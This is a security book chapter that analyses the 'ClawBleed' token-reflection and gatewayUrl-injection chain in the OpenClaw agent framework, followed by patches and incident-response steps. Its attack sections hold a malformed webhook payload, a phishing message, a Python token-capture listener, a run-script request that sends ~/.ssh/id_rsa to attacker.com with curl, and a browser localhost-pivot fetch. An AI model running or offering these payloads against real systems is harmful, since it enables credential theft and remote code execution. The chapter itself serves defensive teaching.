Chapter 31

ClawBleed CVE-2026-25253: Complete Attack Chain from Token Reflection to RCE

Chapter 31: ClawBleed CVE-2026-25253 — Complete Attack Chain Analysis from Token Reflection to RCE

"Two seemingly ordinary bugs, combined, became a nuclear weapon." — OpenClaw Security Team Post-Mortem Report, February 2026


31.1 Incident Overview

In late January 2026, security researcher @hexin_sec submitted a carefully worded but industry-shocking vulnerability report to OpenClaw's GitHub repository. The report described how two independently existing flaws could interlock under specific conditions into a near-perfect attack chain — from triggering error logs to executing arbitrary commands with root privileges on a target server, requiring no existing vulnerabilities on the target system, only a deceived administrator.

This vulnerability was named ClawBleed, assigned CVE-2026-25253, with a CVSS score of 9.8 (Critical) and CWE classification CWE-532 (Insertion of Sensitive Information into Log File).

On January 29, 2026, OpenClaw released patched versions v2026.1.29 / v2.5.3. By then, however, more than 40,214 OpenClaw instances were exposed on the internet, with 35.4% containing known vulnerabilities. Independent research institutions reported a vulnerability rate as high as 63%, with 12,812 instances directly exploitable for RCE.


31.2 CVSS 9.8 Score: Dimensional Breakdown

The CVSS v3.1 scoring framework quantifies vulnerability severity across multiple dimensions. ClawBleed's ratings:

Dimension Value Explanation
Attack Vector (AV) Network Attacker can launch the attack remotely over the network
Attack Complexity (AC) Low Attack conditions are simple, no special environment required
Privileges Required (PR) None Attacker needs no account or permissions
User Interaction (UI) Required Administrator must click a link once
Scope (S) Changed Vulnerability escapes the OpenClaw process to OS level
Confidentiality Impact (C) High Bearer Token, system credentials fully exposed
Integrity Impact (I) High RCE allows modification of arbitrary files and system state
Availability Impact (A) High Attacker can shut down services, delete data

Why does UI:Required still score 9.8?

Normally, vulnerabilities requiring user interaction receive significantly lower scores. But in ClawBleed's scenario, the link the administrator was socially engineered into clicking looked identical to a normal OpenClaw Dashboard log viewer page. This "plausible packaging" makes social engineering success rates extremely high — the research team achieved over 80% success in simulated exercises. The scoring committee therefore concluded that UI:Required does not meaningfully reduce actual risk.


31.3 Anatomy of Two Independent Vulnerabilities

31.3.1 Vulnerability One: Token Reflection

Root Cause: Improper Trust Boundary

OpenClaw's backend, when handling API requests, serialized the complete session object and injected it into API response bodies and front-end rendering contexts. This session object contained:

{
  "userId": "admin",
  "role": "superadmin",
  "bearerToken": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...",
  "createdAt": "2026-01-20T08:32:11Z",
  "permissions": ["run_script", "manage_agents", "view_logs"]
}

Core problem: Backend developers treated the session object as "internally trusted data" and therefore performed no sanitization in two scenarios:

  1. Error logs: When a request triggered an uncaught exception, the backend logging framework recorded the complete request context at DEBUG level, including the session object. Logs were stored in ~/.openclaw/logs/error.log and could be rendered in the browser via the Dashboard's "Error Log Viewer."

  2. API response body: /api/v1/session/info and some /api/webhook/* endpoints returned serialized session results directly in responses, which the Dashboard frontend rendered verbatim into the DOM.

This is Token Reflection: Token flows from the authentication system to the logging system, then from the logging system to the browser DOM, where JavaScript can read it.

31.3.2 Vulnerability Two: gatewayUrl Parameter Injection

OpenClaw's Gateway component supported dynamically specifying WebSocket connection targets via the gatewayUrl query string parameter, intended for switching Gateway addresses during development debugging:

https://your-openclaw.com/dashboard?gatewayUrl=ws://dev-gateway.internal:18789

Core problem: This parameter fully trusted user input with no origin validation, whitelist restriction, or CSRF protection. When the Dashboard loaded, the frontend JavaScript would:

  1. Read the gatewayUrl parameter value
  2. Establish a WebSocket connection to that address
  3. Send the locally stored Bearer Token as part of the authentication handshake

An attacker only needed to construct:

https://victim-openclaw.com/dashboard?gatewayUrl=ws://attacker.com:9001

Then listen for WebSocket connections on attacker.com:9001 to receive the victim's Bearer Token.


31.4 The Four-Step Attack Chain: From Trigger to RCE

31.4.1 Attack Chain Sequence Diagram

Attacker                     Target Admin                  OpenClaw Server            Attacker Server
  |                              |                              |                          |
  |--[Step 1]------------------>|                              |                          |
  | POST /api/webhook/trigger   |                              |                          |
  | {malformed payload}         |                              |                          |
  |                             |                              |<-- Exception triggered --|
  |                             |                              | Write to error.log        |
  |                             |                              | (includes Bearer Token)   |
  |                             |                              |                          |
  |--[Step 2]------------------>|                              |                          |
  | Social engineering:         |                              |                          |
  | "Server threw a strange     |                              |                          |
  |  error, can you check       |                              |                          |
  |  this log link?"            |                              |                          |
  |                             |                              |                          |
  |              [Step 3]       |                              |                          |
  |              Click link ---->|                             |                          |
  |                             | GET /dashboard?             |                          |
  |                             |   gatewayUrl=               |                          |
  |                             |   ws://attacker.com:9001    |                          |
  |                             |--[Load Dashboard]---------->|                          |
  |                             |<--[Render error log+Token]--|                          |
  |                             |                              |                          |
  |                             |--[WebSocket handshake]---------------------->ws://attacker.com:9001
  |                             |   Send Bearer Token ---------------------------------->|
  |                             |                              |     Token captured        |
  |                             |                              |                          |
  |<--(Token received)----------|                              |                          |
  |                             |                              |                          |
  |--[Step 4]----------------------------------------------->|                          |
  | POST /api/v1/run-script     |                              |                          |
  | Authorization: Bearer <token>|                             |                          |
  | {"cmd":"id && whoami && ..."} |                            |                          |
  |                             |                              |<--Execute as root -------|
  |<--[RCE result]--------------|------------------------------|                          |

31.4.2 Step 1: Triggering Detailed Error Logs

The attacker sends a carefully crafted malformed payload to /api/webhook/trigger:

POST /api/webhook/trigger HTTP/1.1
Host: victim-openclaw.com
Content-Type: application/json

{
  "event": "message",
  "data": {
    "content": "\u0000\u0001\uffff",
    "metadata": {"__proto__": {"polluted": true}},
    "sessionRef": "${session.bearerToken}"
  }
}

This payload triggers a boundary condition exception in the JSON parser. OpenClaw's error handling middleware captures the exception and records the complete request context at DEBUG level:

[2026-01-20 14:23:41] ERROR webhook.trigger failed
  request.body: {...}
  session: {
    userId: "admin",
    bearerToken: "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoic3VwZXJhZG1pbiJ9.XXXXX",
    role: "superadmin"
  }
  stack: TypeError: Cannot read property 'validate' of undefined
    at WebhookController.trigger (/opt/openclaw/src/webhook.js:147:23)
    ...

31.4.3 Step 2: Social Engineering

The attacker contacts the administrator via email, Slack, Discord, or other channels:

"Hi, I'm a developer from the OpenClaw community. I got a strange error when calling your webhook from my AI Agent. Could you help me look at this error log?"

https://your-openclaw.com/dashboard/logs?view=error&gatewayUrl=ws://diag.attacker.com:9001

The link looks completely legitimate — the domain is the victim's own OpenClaw instance. The administrator has almost no reason to be suspicious.

31.4.4 Step 3: Token Capture

The administrator clicks the link. The Dashboard loads and performs the following:

  1. Renders error.log content (Token appears on the page)
  2. Reads gatewayUrl=ws://attacker.com:9001
  3. Establishes a WebSocket connection to the attacker's server
  4. Sends an authentication handshake packet containing the locally stored Bearer Token

The attacker's listening script:

import asyncio
import websockets

async def capture(ws, path):
    data = await ws.recv()
    print(f"[+] Captured token: {data}")
    with open("tokens.txt", "a") as f:
        f.write(data + "\n")

asyncio.get_event_loop().run_until_complete(
    websockets.serve(capture, "0.0.0.0", 9001)
)
asyncio.get_event_loop().run_forever()

31.4.5 Step 4: RCE Execution

With a valid Bearer Token, the attacker calls /api/v1/run-script:

POST /api/v1/run-script HTTP/1.1
Host: victim-openclaw.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
Content-Type: application/json

{
  "script": "id && cat /etc/passwd && curl http://attacker.com/exfil?d=$(cat ~/.ssh/id_rsa | base64 -w0)",
  "runAs": "system"
}

Response:

{
  "exitCode": 0,
  "stdout": "uid=0(root) gid=0(root) groups=0(root)\nroot:x:0:0:root:/root:/bin/bash\n..."
}

The attacker now has complete root-level control of the target server.


31.5 The ClawJacked Variant: Why localhost Binding Cannot Defend Against Browser-Pivot Attacks

Many security-conscious OpenClaw users bind the Gateway to 127.0.0.1, believing this prevents external access. ClawBleed's ClawJacked variant completely shatters this assumption.

31.5.1 Attack Mechanism

Attacker Website               Victim's Browser              Local OpenClaw
  |                              |                              |
  |--Serve malicious HTML ------->|                             |
  |                              |                              |
  |  HTML contains:              |                              |
  |  <script>                   |                              |
  |    fetch('http://localhost:18789/api/v1/run-script', {      |
  |      method: 'POST',        |                              |
  |      headers: {             |                              |
  |        'Authorization': localStorage.getItem('oc_token')   |
  |      },                     |                              |
  |      body: JSON.stringify({cmd: 'curl http://attacker.com'})
  |    })                       |                              |
  |  </script>                  |                              |
  |                              |                              |
  |                              |--HTTP request to localhost:18789->|
  |                              |  (browser as pivot)         |
  |                              |<--Success response----------|
  |<--Result exfiltrated---------|                              |

Key insight: The browser's Same-Origin Policy (SOP) allows sending requests to localhost because from the browser's perspective, this is a legitimate "local service." JavaScript on the attacker's website exploits the victim's browser as a pivot, bypassing the network isolation of localhost binding.

31.5.2 Correct Defense Against ClawJacked

localhost binding is insufficient to defend against ClawJacked. Correct defense requires:

  1. Strict CORS configuration: Reject cross-origin requests from non-localhost origins
  2. CSRF tokens: All state-changing requests must carry CSRF tokens
  3. allow_url_actions: false: Disable configuring Gateway connections via URL parameters
  4. Browser isolation: Do not visit suspicious websites in the same browser running the OpenClaw Dashboard

31.6 40,000+ Exposed Instances: Scale Impact Analysis

31.6.1 Exposure Statistics

Data from internet security scanning organizations:

Metric Value
Total internet-exposed instances 40,214
Instances with known vulnerabilities 35.4% (14,276 instances)
Vulnerability rate (independent research) 63%
Directly RCE-exploitable instances 12,812
Affected enterprise deployments Estimated over 3,000

31.6.2 Why So Many Instances Are Publicly Exposed

  1. Default configuration issue: OpenClaw defaults to listening on 0.0.0.0:18789; the installation wizard did not emphasize network isolation
  2. Diverse deployment scenarios: Many users deploy OpenClaw on cloud servers (AWS EC2, DigitalOcean Droplets) with security groups that open all ports by default
  3. Knowledge gap: AI Agent framework users are predominantly developers with varying security awareness
  4. Update inertia: Many instances remain on old versions with no automatic update mechanism

31.7 Patch v2026.1.29: Detailed Fix Analysis

31.7.1 Fix One: Remove Session Object from Detailed Error Logs

// Before fix (vulnerable code)
logger.error('webhook.trigger failed', {
  requestBody: req.body,
  session: req.session,  // ← Contains Bearer Token
  error: err.stack
});

// After fix
logger.error('webhook.trigger failed', {
  userId: req.session?.userId,  // Only log userId
  error: err.message,           // Don't log full stack trace
  requestId: req.id             // Use requestId to correlate detailed info
});

31.7.2 Fix Two: Clean Up Dashboard Token Handling

// Before fix
function loadDashboard() {
  const gatewayUrl = new URLSearchParams(window.location.search).get('gatewayUrl');
  connectGateway(gatewayUrl || DEFAULT_GATEWAY);  // ← Directly trusts URL parameter
}

// After fix
function loadDashboard() {
  const gatewayUrl = new URLSearchParams(window.location.search).get('gatewayUrl');
  if (gatewayUrl) {
    console.warn('gatewayUrl parameter is no longer supported for security reasons');
  }
  connectGateway(DEFAULT_GATEWAY);  // ← Always use value from config file
}

31.7.3 Fix Three: Session Object API Response Sanitization

// Before fix
app.get('/api/v1/session/info', (req, res) => {
  res.json(req.session);  // ← Returns complete session including Token
});

// After fix
app.get('/api/v1/session/info', (req, res) => {
  res.json({
    userId: req.session.userId,
    role: req.session.role,
    permissions: req.session.permissions,
    // bearerToken field explicitly excluded
  });
});

31.8 Complete Incident Response Steps

If your OpenClaw instance runs a version before v2026.1.29, execute the following emergency response immediately in order:

Phase 1: Stop the Bleeding (0-30 minutes)

# Step 1: Immediately upgrade to the patched version
npm install -g openclaw@latest
openclaw --version  # Confirm it shows 2026.1.29 or higher

# Step 2: Force all active sessions to log out
openclaw auth revoke-all-sessions --force

# Step 3: Rotate SECRET_KEY (immediately invalidates all existing tokens)
openclaw config set SECRET_KEY $(openssl rand -hex 64)
openclaw restart

Phase 2: Credential Rotation (30-120 minutes)

Rotate in the following order, highest priority first:

1. OpenClaw SECRET_KEY (completed in Phase 1)
2. AWS IAM keys (if OpenClaw has AWS access)
   - Deactivate old keys in IAM console
   - Generate new keys and update configuration
3. SSH private keys (if OpenClaw can access other servers)
   - Remove old public keys from authorized_keys on all target servers
   - Generate new key pairs and redistribute
4. Database passwords (if OpenClaw can access databases)
   - PostgreSQL: ALTER USER openclaw PASSWORD 'new_password';
   - MySQL: ALTER USER 'openclaw'@'%' IDENTIFIED BY 'new_password';
5. Third-party API keys (OpenAI, Anthropic, Slack, etc.)
   - Revoke old keys in each platform's API management interface
   - Generate new keys and update OpenClaw configuration
6. Telegram/WhatsApp Bot Tokens (if applicable)

Phase 3: Network Hardening (Execute immediately, parallel with Phase 2)

# Restrict OpenClaw to VPN access only
# iptables example
iptables -A INPUT -p tcp --dport 18789 -s 10.0.0.0/8 -j ACCEPT  # VPN range
iptables -A INPUT -p tcp --dport 18789 -j DROP                    # Deny all others

# Or use Tailscale (recommended)
tailscale up --advertise-routes=192.168.1.0/24
openclaw config set gateway.bind tailscale  # Bind to Tailscale interface

Phase 4: Configuration Hardening

# Disable URL parameter Gateway configuration
openclaw config set allow_url_actions false

# Check for suspicious installed Skills
openclaw skills list
openclaw security audit --deep

# Check logs for suspicious run-script calls
grep "run-script" ~/.openclaw/logs/audit.log | tail -100

Phase 5: Incident Forensics (24-72 hours)

# Export complete audit logs
openclaw logs export --format json --from "2026-01-01" > audit_export.json

# Find suspicious token usage
jq '.[] | select(.action=="run_script" or .action=="token_used")' audit_export.json

# Check for authentication from unknown IPs
jq '.[] | select(.action=="auth_success") | {ip, userId, timestamp}' audit_export.json | sort -u

ClawBleed was not an isolated incident. Researchers disclosed four additional high-severity vulnerabilities in the same period, forming a "vulnerability cluster" with CVE-2026-25253.

CVE-2026-24763: Command Injection / RCE

CVE-2026-26322: SSRF / Internal System Exploitation

CVE-2026-26329: Path Traversal / Local File Exposure

CVE-2026-30741: Prompt Injection / Code Execution

Combined Attack Chain

CVE-2026-26329 (Path Traversal) → Read config file to obtain Token
                                   ↓
CVE-2026-25253 (ClawBleed)      → Obtain Token via social engineering
                                   ↓
CVE-2026-24763 (Command Injection) → Execute system commands
                                   ↓
CVE-2026-26322 (SSRF)           → Lateral movement to AWS/internal network
                                   ↓
CVE-2026-30741 (Prompt Injection) → Establish persistent backdoor

31.10 Prevention Lessons: Architectural Security Principles

Lesson One: Tokens Must Never Appear in Logs

Principle: Logging should follow the "minimum necessary information" principle. Any object containing authentication credentials (session, request headers, environment variables) must undergo Explicit Sanitization before being written to logs.

// Recommended logging pattern
const sanitize = (obj) => {
  const SENSITIVE_KEYS = ['bearerToken', 'password', 'secretKey', 'apiKey', 'token'];
  return Object.fromEntries(
    Object.entries(obj).map(([k, v]) => [
      k,
      SENSITIVE_KEYS.some(sk => k.toLowerCase().includes(sk)) ? '[REDACTED]' : v
    ])
  );
};

logger.error('request failed', sanitize(context));

Lesson Two: URL Parameters Must Not Control Security-Critical Behavior

Principle: Parameters affecting network connection targets, authentication behavior, or permission scope must not accept user input via URL query strings. These parameters should:

  1. Come from server-side configuration files (not modifiable from the frontend)
  2. If frontend configuration is necessary, require CSRF protection and whitelist validation
  3. Never use user-provided values directly as WebSocket or HTTP request targets

Lesson Three: localhost Binding Is Not a Security Boundary

Section 31.5 provides detailed analysis. In short: network-layer isolation and application-layer authentication must both exist — neither alone is sufficient.

Lesson Four: Error Messages Should Serve Operations, Not Attackers

Detailed error information (complete stack traces, internal variable values) has value for development debugging but should never be visible to users or API callers. The correct pattern:


31.11 Summary

ClawBleed (CVE-2026-25253) is a landmark event in the security history of AI Agent frameworks. It reveals a core contradiction: AI Agents need powerful permissions to complete tasks, and when those powerful permissions are leaked, the consequences are severe.

Two independent, seemingly low-risk flaws — logging the session into error logs and accepting URL parameters for WebSocket configuration — combined with social engineering catalyst into an attack chain capable of full RCE. This teaches us that security audits cannot only examine individual vulnerability severity; they must examine the compound effect of vulnerability combinations.

In the next chapter, we examine OpenClaw security from a supply chain perspective: how malicious Skills in the ClawHavoc incident bypassed all detection mechanisms and silently infected thousands of Agent instances.


Chapter keywords: CVE-2026-25253, ClawBleed, Token reflection, gatewayUrl injection, ClawJacked, RCE, incident response, CVSS 9.8

Rate this chapter
4.6  / 5  (3 ratings)

💬 Comments